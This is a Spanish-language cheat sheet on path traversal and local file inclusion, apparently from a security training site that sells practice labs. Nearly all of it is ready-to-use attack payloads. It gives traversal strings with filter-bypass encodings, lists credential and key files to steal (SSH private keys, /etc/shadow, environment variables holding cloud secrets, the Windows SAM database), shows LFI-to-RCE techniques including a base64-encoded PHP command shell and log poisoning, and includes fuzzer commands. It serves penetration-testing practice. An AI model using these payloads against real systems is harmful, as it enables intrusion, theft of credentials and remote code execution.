Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet Path Traversal

Directory Traversal / LFI

Referencia rápida

  • Probar siempre multiples niveles de traversal: desde 1 hasta 10 directorios arriba
  • En PHP < 5.3, null byte (%00) trunca la extension forzada (.php, .png)
  • Log poisoning: inyectar payload PHP en User-Agent/Referer y luego incluir el log via LFI
  • /proc/self/environ contiene variables de entorno con credenciales de cloud
  • Si el server normaliza la ruta, probar double encoding (%252e%252e%252f)

Payloads basicos

Unix - /etc/passwd

../../../../etc/passwd

Windows - win.ini

..\..\..\..\windows\win.ini

Con null byte (PHP < 5.3)

../../../../etc/passwd%00.png

Double encoding

..%252f..%252f..%252fetc/passwd

UTF-8 encoding

..%c0%af..%c0%af..%c0%afetc/passwd

Path con /Bypass de filtros que eliminan ../

/....//....//....//etc/passwd

Bypass de filtros

Doble punto eliminadoSi el server elimina ../ una vez, queda ../

....//....//....//etc/passwd

URL encoding del punto

%2e%2e/%2e%2e/%2e%2e/etc/passwd

Mixed encoding

.%2e/.%2e/.%2e/etc/passwd

Backslash (Windows)

..%5c..%5c..%5cwindows%5cwin.ini

Path absolutoA veces funciona sin traversal si no hay base path

/etc/passwd

Archivos interesantes - Linux

/etc/passwd

/etc/passwd

/etc/shadowRequiere root - contiene hashes de passwords

/etc/shadow

Variables de entornoContiene AWS keys, secrets, tokens

/proc/self/environ

Linea de comandos

/proc/self/cmdline

SSH private key

/home/user/.ssh/id_rsa

Bash history

/home/user/.bash_history

AWS Lambda sourceCodigo fuente completo de funciones Lambda

/var/task/lambda_function.py

Archivos interesantes - Windows

SAM database

C:\Windows\System32\config\SAM

Web.config

C:\inetpub\wwwroot\web.config

Hosts file

C:\Windows\System32\drivers\etc\hosts

IIS logs

C:\inetpub\logs\LogFiles

Escalacion LFI a RCE

PHP wrappers - base64Leer codigo fuente PHP codificado en base64

php://filter/convert.base64-encode/resource=config.php

PHP wrappers - dataBase64 de: <?php system($_GET["cmd"]);?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

PHP expectRequiere extension expect habilitada

expect://id

Log poisoningInyectar PHP en User-Agent, luego incluir el log

/var/log/apache2/access.log

/proc/self/fd/ bruteforceFile descriptors abiertos pueden contener archivos temporales con codigo

/proc/self/fd/5

Herramientas

dotdotpwn

Fuzzer de path traversal con multiples modos de operacion

dotdotpwn -m http -h target.com -x 8080 -f /etc/passwd

ffuf

Fuzzer rapido para probar payloads de LFI en parametros

ffuf -u "https://target.com/download?file=FUZZ" -w lfi-payloads.txt -mc 200

LFISuite

Suite automatizada de explotacion LFI con multiples tecnicas de RCE

python3 lfisuite.py

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica